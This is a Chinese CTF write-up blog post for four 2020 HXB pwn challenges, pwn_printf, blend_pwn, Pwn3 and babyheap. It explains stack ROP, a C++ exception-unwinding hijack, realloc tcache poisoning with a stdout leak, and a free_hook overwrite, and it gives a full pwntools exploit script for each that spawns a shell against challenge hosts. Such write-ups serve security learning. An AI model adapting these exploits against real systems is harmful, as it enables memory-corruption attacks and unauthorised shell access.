2020HXB

字数统计: 3.2k字   |   阅读时长≈ 14分

记录一下近期零散做到的题。

pwn_printf

程序分析

image-20201102091749536

程序一开始使用 mmap分配了一块内存，之后调用了 sprintf进行了操作，最后有一个溢出。最开始分析了很久这个格式化字符串的作用和逻辑，但是后面发现最后执行溢出与这个逻辑不影响。所以直接就是一个简单的栈溢出。

利用分析

栈溢出，执行ROP链泄露libc地址。然后再通过 ROP链 去 getshell。

PS:这道题前面这么多的格式化字符串按理说一定不是出题人闲的随便写的。后面有大佬告诉我这是谷歌CTF里的一道题改编的，出题人把这道题的溢出条件改成了和格式化字符串没关系，但是原题是有关系的。有兴趣大家可以看看原题

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./pwn_printf')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf = ELF('./pwn_printf')
else:
    p = remote('47.111.104.169', 55606)
    elf = ELF('./pwn_printf')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil('very interesting\n')
for i in range(16):
    p.sendline(str(0x20))

p_rdi_ret = 0x401213
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

main_addr = 0x4007ef

payload = p64(0) + p64(p_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)
puts_addr = u64(p.recv(10)[:6].ljust(8, '\x00'))
libc_addr = puts_addr - libc.sym['puts']
print 'libc_addr:',hex(libc_addr)

system_addr = libc_addr + libc.sym['system']
bin_sh_addr = libc_addr + next(libc.search('/bin/sh\x00'))
print 'system_addr:',hex(system_addr),'bin_sh_addr:',hex(bin_sh_addr)

p.recvuntil('very interesting\n')
for i in range(16):
    p.sendline(str(0x20))

payload = p64(0) + p64(p_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload)

p.interactive()

blend_pwn

程序分析

程序有几个明显的漏洞，一个是 ShowName时有一个格式化字符串，可以泄露Libc和栈地址。一个是 ShowNote可以泄露 Heap地址。

image-20201102092501363

程序还存在一个 magic函数，里面有一个溢出，能够覆盖 ebp。当输入超过 16字符后，会执行 _cxa_allocate_exception 和 _cxa_throw两个异常处理函数。那么可以怀疑这个异常处理函数应该是存在漏洞点的。

利用分析

主要思路是参考这篇文章

C++ 函数调用和放回

异常机制最重要三步是：throw, try, catch。throw抛出异常，try包含异常模块，catch捕捉抛出的异常。

异常抛出

编译器会将所有 throw 语句替换为其 C++ 运行时库中的某一指定函数，这里我们叫它 __CxxRTThrowExp。该函数接受一个编译器认可的内部结构，这个结构包含了待抛出异常的起始地址、用于销毁它的析构函数，以及他的 type_info信息。对于没有启用 RTTI机制的异常类层次结构，可能还要包含其所有基类的 type_info信息。

__CxxRTThrowExp 首先接收（并保存）EXCEPTION 对象；然后从 TLS：Current ExpHdl 处找到与当前函数对应的 piHandler、nStep 等异常处理相关数据；并按照前文所述的机制完成异常捕获和栈回退。由此完成了包括“抛出”->“捕获”->“回退”等步骤的整套异常处理机制

异常捕获

异常被抛出时，会立即引发 C++的异常捕获机制：根据 C++标准，异常抛出后如果再当前函数内没有被捕获(catch)，他就要沿着函数的调用链继续往上抛，直到走完整个调用链，或者在某个函数中找到 catch。如果走完调用链都没有找到相应的 catch，那么std::terminate() 就会被调用，这个函数默认是把程序 abort，而如果最后找到了相应的 catch，就会进入该 catch 代码块，执行相应的操作。

从抛出异常到开始执行 catch，包含两个过程：1. 从抛出异常的函数开始，对调用链上的函数逐个往前查找；2.如果没有找到 catch则把程序 abort，否则则记下 landing pad 的位置，再重新回到抛异常的函数开始清理调用链上的各个函数内部的局部变量，直到 landing pad所在函数为止。

栈回退

回退时要来确保在异常被抛出、捕获并处理后，所有生命周期已结束的对象都会被正确的析构，他们所占用的空间会被正确的回收。

如下图所示，程序马上进入 _cxa_throw函数，我们查看此时的ebp，可以发现此时的 ebp值为 main函数的 ebp的值。

image-20201102103931997

我们能在 main函数结尾发现 catch处理的代码段

image-20201102104237760

此时，我们跟进 _cxa_throw函数中，在执行 Unwind_RaiseException函数时，进行了栈回溯，回溯到 Main函数时的 ebp并找到了 catch结构，此时会直接进入 catch结构里。

image-20201102104033285

思路

这题的思路就是在执行异常处理之前，将当前的ebp的值指向我们的 ROP-8的地址，当程序进入 异常处理之后，会向上遍历 查找 catch，此时就会不断地向上栈回溯。由于main函数中存在 catch，所以异常处理在回溯到 main函数地ebp地值时会执行catch函数。但是此时这个 ebp已经被我们修改为了 执行 rop地地址，所以就会返回到我们地 rop处执行。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 0
if debug == 1:
    p = process('./blend_pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf = ELF('./blend_pwn')
else:
    p = remote('47.111.104.169', 57404)
    elf = ELF('./blend_pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def New(payload):
    p.recvuntil('Enter your choice >')
    p.sendline(str(2))
    p.recvuntil('input note:\n')
    p.sendline(payload)

def ShowName():
    p.recvuntil('Enter your choice >')
    p.sendline(str(1))

def Delete(idx):
    p.recvuntil('Enter your choice >')
    p.sendline(str(3))
    p.recvuntil('index>')
    p.sendline(str(idx))

def ShowNote():
    p.recvuntil('Enter your choice >')
    p.sendline(str(4))

def Magic(payload):
    p.recvuntil('Enter your choice >')
    p.sendline(str(666))
    p.recvuntil('Please input what you want:')
    p.sendline(payload)

def pwn():
    p.recvuntil('Please enter a name: ')
    p.sendline('%p-%p')

    p.recvuntil('to be wrong!\n')

    ShowName()
    p.recvuntil('Current user:')
    stack_addr = int(p.recvuntil('-', drop=True),16)
    libc_base = int(p.recvuntil('\n'), 16) - 0x3c6780
    print 'stack_addr:',stack_addr,'libc_addr:',libc_base

    p_rdi_ret = libc_base + 0x21112
    bin_sh_addr = libc_base + next(libc.search('/bin/sh\x00'))
    system_addr = libc_base + libc.sym['system']
    print 'bin_sh_addr:',hex(bin_sh_addr)
    print 'system_addr:',hex(system_addr)
    print 'p_rdi_ret:',hex(p_rdi_ret)

    payload = p64(0)*3 + p64(p_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)

    New('a')
    New(payload)
    Delete(1)
    Delete(0)

    ShowNote()
    p.recvuntil('index 1:')
    heap_addr = u64(p.recvuntil('\n', drop=True).ljust(8, '\x00')) - 0x80
    print 'heap_addr:',hex(heap_addr)

    #gdb.attach(p, 'bp $rebase(0x11b8)')
    payload_addr = heap_addr + 0xa0
    payload = p64(payload_addr) *6
    Magic(payload)

    p.interactive()

pwn()

Pwn3

程序分析

image-20201105171510763

程序漏洞很明显，Add函数，存在一个 off-by-one漏洞。同时只使用了 realloc 函数。 realloc函数具有如下性质：

  1. ptr == 0: malloc(size)
  2. ptr != 0 && size == 0: free(ptr)
  3. ptr != 0 && size == old_size: edit(ptr)
  4. ptr != 0 && size < old_size: edit(ptr) and free(remainder)
  5. ptr != 0 && size > old_size: new_ptr = malloc(size); strcpy(new_ptr, ptr); free(ptr); return new_ptr;

利用分析

这道题比赛的时候想的是 在 unsortedbin中去堆合并做，因为 realloc时如果其next chunk 其 next_size+old_siz = request_size 会直接进行堆合并。但是做了很久，失败了，主要原因是由于 堆合并时会进行 Unlink操作，在 2.27中 Unlink一开始就会检查 当前需要unlink 的chunk的 next_chunk的 prev_size是否与当前chunk的size相等。而如果我们想用堆合并实现 对 next chunk的覆盖时，这两个地址肯定不相等，所以失败了。

后面想到可以直接通过在 tache 里修改size来做。大概思路是：

  1. 构建 chunk extend

通过修改old_size的 tcache的为 new_size，然后再申请 old_size 把他分配出来。然后再释放它，就会进入 new_size的tcache链里，随后申请 new_size的chunk 就能够实现堆溢出了。

我们首先 将 0x90 的 tcache布满，随后再申请释放一个 0x90 到 Unsortedbin，来泄露地址。

然后 通过上述方法，构建第一次 chunk extend，将 unsortedbin chunk 的 fd 改为 stdout地址；

  1. 构建 tcache poisoning

然后再通过上述方法，实现第二次堆溢出。随后利用 tcache poisoning，将 Unsortedbin chunk 链进 tcache 链。

  1. 泄露地址

然后将 tcache中伪造的 stdout chunk申请出来，需要一点步骤。思路还是，通过 修改 tcache的size，将与 stdout chunk之前的 chunk 释放到 其他 tcache 链中。最后就能将末尾的 stdout chunk申请出来。

  1. Getshell

当泄露地址后，我们此时 的 Buf就为 _IO_2_1_stdout_地址，此时如果直接 再 realloc会报错，因为 realloc会释放 buf，而 _IO_2_1_stdout_ 地址是非法的，free 会报错。

我们可以利用 exit函数中 将 stdout关闭和 将 Buf清空，此后就能再次 realloc了。

最后就是依然 是利用 堆溢出，将 free_hook改为 system，注意 不能直接 /bin/sh。因为 exit函数中将输出关闭，所以需要用 "cat flag 1>&2"，将 flag 通过 stderr输出。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf = ELF('./pwn')
else:
    p = remote('47.111.104.169', 57404)
    elf = ELF('./pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Add(size, payload, flag=1):
    if flag == 1:
        p.recvuntil('choice:')
    p.sendline(str(1))
    if flag == 1:
        p.recvuntil('Size:\n')
    else:
        sleep(0.1)
    p.sendline(str(size))
    if flag == 1:
        p.recvuntil('Data:\n')
    else:
        sleep(0.1)
    p.send(payload)

def Delete(flag=1):
    if flag == 1:
        p.recvuntil('choice:')
    p.sendline(str(1))
    if flag == 1:
        p.recvuntil('Size:\n')
    else:
        sleep(0.1)
    p.sendline(str(0))

def close_stdout():
    p.sendlineafter("choice:", "2")

stdout = 0xa760
while True:
    try:
        #fill 0x90 tcache
        # gdb.attach(p, 'bp $rebase(0xb11)')
        Add(0x3e0, '0')
        for i in range(7):
            size = 0x3e0 - 0x90*i
            Add(size, '0')
        Delete()
        Add(0x100, 'a')
        Delete()
        Add(0x20, '2')
        Delete()
        #gdb.attach(p, 'bp $rebase(0xb11)')
        Add(0x10+0x90+0x30+0x60+0x30, '1')
        Add(0x160-0x30, '1')
        Add(0x130-0x30, '2')
        #into unsortedbin
        Add(0x100-0x90, '3')

        Add(0x70-0x60, '4')
        print '============change size'
        #change size
        payload = 'a'*0x10 + p64(0) + b'\xf1'
        Add(0x18, payload)
        Delete()
        #into tcache
        Add(0x58, 'a')
        Delete()

        #change unsortedbin
        payload = 'a'*0x50 + p64(0) + p64(0x90) + p16(stdout)
        Add(0xe8, payload)
        Delete()
        print "==============change ok"

        Add(0x100, 'b')
        Add(0x100-0x70, 'b')
        Add(0x90-0x30, '1')
        Add(0x60-0x20, '2')
        Delete()
        print '==============> chang tcache'
        payload = 'a'*0x40 + p64(0) +  b'\x51'
        Add(0x48, payload)
        Delete()

        print '===============>tcache attack'
        Add(0x10, 'a')
        Delete()
        #gdb.attach(p, 'bp $rebase(0xb11)')
        payload = 'a'*0x10 + p64(0) + p64(0x31) + b'\x10'
        Add(0x48, payload)
        Delete()
        #gdb.attach(p, 'bp $rebase(0xb11)')
        payload = 'a'*0x10 + p64(0) + b'\xa1'
        Add(0x48, payload)
        Delete()
        Add(0x20, 'a')
        Delete()

        payload = 'a'*0x50 + p64(0) + p64(0xc1)
        Add(0xe0, payload)
        Delete()

        Add(0x20, 'b')
        Delete()
        print '===========leak libc'
        payload = p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00"
        Add(0x28, payload)  #stdout
        libc_addr = u64(p.recvuntil('\x7f', timeout=1)[-6:].ljust(8, '\x00'))
        print 'libc_addr:',hex(libc_addr)
        if '\x7f' in p64(libc_addr):
            break
    except:
        p.close()
        p = process('./pwn')

close_stdout()
libc_base = libc_addr - 0x3ed8b0
libc.address = libc_base
print 'libc_base:',hex(libc_base)
free_hook = libc.sym['__free_hook']
system_addr = libc.sym['system']
print 'system_addr:',hex(system_addr)
#gdb.attach(p, 'bp $rebase(0xaa4)')

p.recvuntil("Bye\n")
payload = 'a'*0x10 + p64(0) + p64(0x31) + p64(free_hook)
Add(0x48, payload, flag=0)
Delete(flag=0)

Add(0x90, 'a', flag=0)
Delete(flag=0)

Add(0x90, p64(system_addr), flag=0)

payload = b"cat flag 1>&2".ljust(0x18, b"\x00")
Add(0x130,payload, flag=0)

sleep(0.1)
Delete(flag=0)

p.interactive()

babyheap

程序分析

image-20201102104532959

程序漏洞在 safe_read里，存在一个任意地址写0漏洞，只能写入 0xf0。并且程序只能申请 0xf8大小的堆块。

利用分析

1 泄露Libc 和 Heap地址

首先这题有输出函数，可以直接泄露 Libc和heap地址。

2.构造堆合并

我们先将 0x100的tcache布满，随后申请3个chunk，chunk7,chunk8,chunk9，我们依次释放 chunk7,chunk8,chunk9，那么会在 chunk9的 prev_size

留下 0x200。然后我们再次申请该3个chunk，利用任意地址写0，修改chunk9的 Prev_Inuse为0，释放 chunk7到 Unsortedbin，再释放 chunk9，此时该三个块即会合并。我们再依次申请两个chunk，此时chunk8存在两个指针，可以构造 uaf。依次释放 新申请的 两个chunk到tcache，再利用原来的 chunk8修改 其 fd指针指向 free_hook来 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 0
if debug == 1:
    p = process('./babyheap')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf = ELF('./babyheap')
else:
    p = remote('47.111.96.55',55103)
    elf = ELF('./babyheap')
    libc = ELF('./libc.so.6')

def create():
    p.recvuntil('>>')
    p.sendline(str(1))

def show(idx):
    p.recvuntil('>>')
    p.sendline(str(2))
    p.recvuntil('index?\n')
    p.sendline(str(idx))

def edit(idx, size, payload):
    p.recvuntil('>>')
    p.sendline(str(3))
    p.recvuntil('index?\n')
    p.sendline(str(idx))
    p.recvuntil('Size:\n')
    p.sendline(str(size))
    p.recvuntil('Content:\n')
    p.send(payload)

def delete(idx):
    p.recvuntil('>>')
    p.sendline(str(4))
    p.recvuntil('index?\n')
    p.sendline(str(idx))

def pwn():
    for i in range(11):  #0-12
        create()

    delete(6)
    delete(5)
    create()    #5
    create()    #6
    show(5)
    heap_addr = u64(p.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x860
    print 'heap_addr:',hex(heap_addr)

    for i in range(7):
        delete(i)

    delete(7)
    #gdb.attach(p, 'bp $rebase(0xd36)')
    for i in range(8):
        create()

    edit(7, 0xf0, 'a'*8)
    show(7)
    libc_addr = u64(p.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x70
    libc_base = libc_addr - libc.sym['__malloc_hook']
    print 'libc_addr:',hex(libc_addr),'libc_base:',hex(libc_base)
    libc.address = libc_base
    free_hook = libc.sym['__free_hook']
    system_addr = libc.sym['system']
    print 'free_hook:',hex(free_hook)
    print 'system_addr:',hex(system_addr)

    for i in range(7):
        delete(i)

    #chunk consolidate
    delete(7)
    delete(8)
    delete(9)

    for i in range(7):  #0-7
        create()

    create()    #7
    create()    #8
    create()    #9
    for i in range(7):
        delete(i)

    delete(7)
    edit(8, 0xf8, '\x00')
    #delete(7)
    delete(9)

    for i in range(7):
        create()

    create()    #7
    create()    #9

    delete(0)
    delete(8)
    payload = p64(free_hook)
    edit(9, 0xf0, payload)
    create()    #0
    create()    #8  #free_hook
    payload = p64(system_addr)
    edit(8, 0x8, payload)
    edit(0, 0x8, '/bin/sh\x00')

    delete(0)

    p.interactive()

pwn()
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing